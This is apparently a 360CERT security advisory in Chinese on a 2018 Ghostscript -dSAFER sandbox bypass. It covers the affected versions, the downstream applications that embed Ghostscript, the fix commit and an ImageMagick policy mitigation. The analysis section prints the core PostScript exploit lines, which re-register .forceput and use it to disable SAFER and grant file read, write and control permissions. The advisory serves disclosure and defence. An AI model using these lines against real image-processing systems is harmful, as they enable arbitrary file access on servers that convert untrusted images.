ghostscript任意文件读写漏洞预警分析

阅读量209604

发布时间 : 2018-10-11 12:00:37

 

0x00 漏洞背景

10 月 9号,Tavis Ormandy 通过公开邮件列表 ,再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack ,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。

 

0x01 漏洞影响

version <= 9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 之前的版本

官方已给出缓解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚无release版本发布

漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:

imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf

 

0x02 漏洞分析

<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable, 
and (if dict is systemdict or the current save level is 0) 
even if dict is in global VM and key and/or value is in local VM. 
This operator should be used only initialization code, 
and only in executeonly procedures: it must not be accessible after initialization.

官方对.forceput的使用介绍,能够强制更新dict中的值。

这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中, 然后被注册成命令forceput进而对systemdict进行修改。 最终达到bypass safer以及开启文件读写权限等操作。

核心过程分析 首先利用如下命令访问 switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

触发异常后的栈情况

alt

利用如下命令将.forceput 注册成forceput

/forceput $error /command get def

然后即可通过如下正常命令对systemdict进行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

    Make procedures that use .forceput/.forcedef/.forceundef into operators.

    The result of this is that errors get reported against the "top" operator,
    rather than the "called" operator within the procedure.

    For example:
    /myproc
    {
      myop
    } bind def

    If 'myop' throws an error, the error handler will be passed the 'myop'
    operator. Promoting 'myproc' to a operator means the error handler will be
    passed 'myproc'.

在这次更新中对该问题进行了修复

alt

在注册的时候都以odef注册成特殊的运算符使其无法被利用

 

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work

alt

alt

php ImageMagick demo

alt

alt

 

0x04 缓解措施

目前官方已给出缓解措施,建议更新ghostscript。至少需要到(a54c9e61e7d02bbc620bcba9b1c208462a876afb)之后的版本

若无法更新可先尝试禁用使用gs解析ps文件

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下

<policy>(即禁用 PS、EPS、PDF、XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>

 

0x05 时间线

2018-09-28 taviso提交漏洞

2018-10-09 漏洞信息公开

2018-10-10 360CERT对漏洞分析跟进,发布预警分析

 

0x06 参考链接

  1. 邮件列表
  2. gs官方文档
  3. patch diff详情

本文由360CERT安全通告原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/161677

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
360CERT安全通告
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66